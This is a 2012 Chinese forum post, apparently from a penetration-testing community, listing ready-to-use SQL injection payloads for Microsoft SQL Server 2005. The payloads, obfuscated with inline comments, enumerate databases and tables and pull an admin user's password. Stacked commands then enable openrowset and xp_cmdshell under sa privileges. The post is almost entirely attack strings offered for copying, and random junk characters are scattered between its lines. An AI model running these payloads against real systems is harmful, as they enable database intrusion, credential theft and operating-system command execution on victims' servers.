中国网络渗透测试联盟
标题:
MSsql2005注入语句
[打印本页]
作者:
admin
时间:
2012-9-13 17:19
标题:
MSsql2005注入语句
. K/ C; s# ]/ I! \! H5 @6 \
, r( S. O3 G5 q
1 E1 }9 Q+ T5 e+ \* n* [
[Copy to clipboard]CODE:
5 O5 G, X7 X9 p' a* f6 M
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
S" u, U/ m1 \1 ?- U7 y0 t; j
. g2 ]' X) f/ D" r- C
爆表语句,somedb部份是所要列的数据库，红色数字1累加
. I3 }) G: i b) Z5 h, @/ B2 o* D
5 N, ~( C1 t! P: i r/ [
$ N; Z0 i" J$ q8 Q- m: e9 W; E
[Copy to clipboard]CODE:
# P- [) |$ K; H- s6 S6 c
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
4 Q- z) W" c' D3 d1 E8 F
" \. v) {8 ~8 \% g/ E/ D
爆字段语句，爆表admin里user='icerover'的密码段
7 ?8 c8 L ]7 ] h" i( L
7 M7 k ^8 Z1 S% |6 w
/ F# w9 W+ ]# w
[Copy to clipboard]CODE:
# U1 ^* ~; ?+ M) r/ B2 J
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
/ C ]/ {" B" f) q
9 W# H& w3 s( Q; H" K8 h `; G
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
& `2 r0 s5 z, t3 Q6 p: O
如果是sa权限，可以这样来开启
' b. F) m+ o& E0 d2 t# a3 y) ^
开启openrowset
, W f5 M1 @2 m2 E! Z4 Q6 H+ z" O' Z
: D% j# `) @; E( \! ?7 r; U
" S( T8 U: B7 s! b9 Y, U
[Copy to clipboard]CODE:
& |* |& t! O0 {8 t1 T2 d0 i
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
. A# p6 N. c+ X4 z2 f" G/ Z, K
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
4 i4 y7 _6 }7 r( k% m. l# I
0 w4 n% r6 M# z& ?1 Y0 n# l
开启xp_cmdshell
9 [! S p" _, b* v- {/ w" p- Y- h
" b5 n c) ]! u- v3 D
+ U" Y5 H. O; a0 _1 B# h0 U8 V# ~
[Copy to clipboard]CODE:
! x7 U. a3 z7 K7 ?) R5 q2 F, V8 y
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
) p4 w* u6 U; w6 s
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
* Q6 ^- P5 q, d/ @
7 G7 L- d7 S$ l0 O
ok,over~~晚安
6 K8 c! m& o- b
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2